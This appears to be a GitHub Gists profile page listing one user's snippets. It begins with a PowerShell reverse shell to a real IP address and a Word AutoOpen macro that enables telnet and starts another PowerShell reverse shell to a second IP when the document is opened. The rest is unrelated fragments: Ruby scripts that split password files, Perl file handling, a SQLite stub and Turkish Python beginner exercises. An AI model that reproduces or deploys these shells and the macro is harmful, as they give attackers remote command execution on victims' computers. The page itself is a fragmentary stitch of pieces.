Skip to content

Instantly share code, notes, and snippets.

View FatihDurmus's full-sized avatar
🤡
Happy for now

Fatih Durmuş FatihDurmus

🤡
Happy for now
View GitHub Profile
$client = New-Object System.Net.Sockets.TCPClient("209.250.252.116",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Sub AutoOpen()
'
' AutoOpen Makro
'
'
Set ObjOL = CreateObject("Outlook.Application")
Set WshShell = CreateObject("WScript.Shell")
Set WshShellExec = WshShell.Exec("dism /online /Enable-Feature /FeatureName:TelnetClient")
outPut = Shell("cmd telnet 108.61.165.18 8080")
MsgBox (outPut)
$socket = new-object System.Net.Sockets.TcpClient('108.61.165.18', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
Set WshShellExec = WshShell.Exec("powershell -nop -c '$client = New-Object System.Net.Sockets.TCPClient('108.61.165.18',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};")
End Sub
def divided_data4
File.open("file_name.txt", "r") do |f|
f.each_line do |line|
#data = line.split(":", 3).to_s
#result = data.split(/: */).to_s
data = line.split(/: */)
File.open("password4.txt",'a'){ |file| file.write(data[1]+"\n")}
end
end
end
def all_files()
Dir.glob("*.txt") do |my_text_file|
File.open("#{my_text_file}", "r") do |f|
f.each_line do |line|
#data = line.split(":", 3).to_s
#result = data.split(/: */).to_s
data = line.split(/: */)
File.open("#{my_text_file}.txt",'a'){ |file| file.write(data[1])}
end
end
my $okunan_dosya = "kaynak_dosya.txt";
my $yazilan_dosya = "kaynak_dosya-sonuc-.txt";
# okunacak dosyayı okuma modunda aç
open OKU, "$okunan_dosya";
# yazılacak dosyası yazma modunda aç, varsa içeriği silinir.
open YAZ, ">$yazilan_dosya";
@FatihDurmus
FatihDurmus / file.rb
Created February 5, 2021 07:23
database example
require 'rubygems'
require 'sqlite3'
require 'thread'
def emailSave(email)
#db = SQLite3::Database.open 'data.db'
#db.results_as_hash = true
#query = db.prepare" select * from datas"
#result = query.execute
def kullanici_al(kullanici_adi,parola):
uzunluk=len(kullanici_adi)+len(parola)
print(uzunluk)
kullanici_adi=input("Adinizi Giriniz: ")
parola=int(input("Sifrenizi Giriniz: "))
kullanici_al(kullanici_adi,parola)
yazili_1=float(input("1.Yaziliyi Notunuzu Giriniz: "))
yazili_2=float(input("2.Yaziliyi Notunuzu Giriniz: "))
sozlu=float(input("Sozlu Notunuzu Giriniz: "))
ortalama=float((yazili_1+yazili_2+sozlu)//3)
if (ortalama>=0) and (ortalama<=24):
print("Ortalama {}".format(ortalama),"notunuz: 0")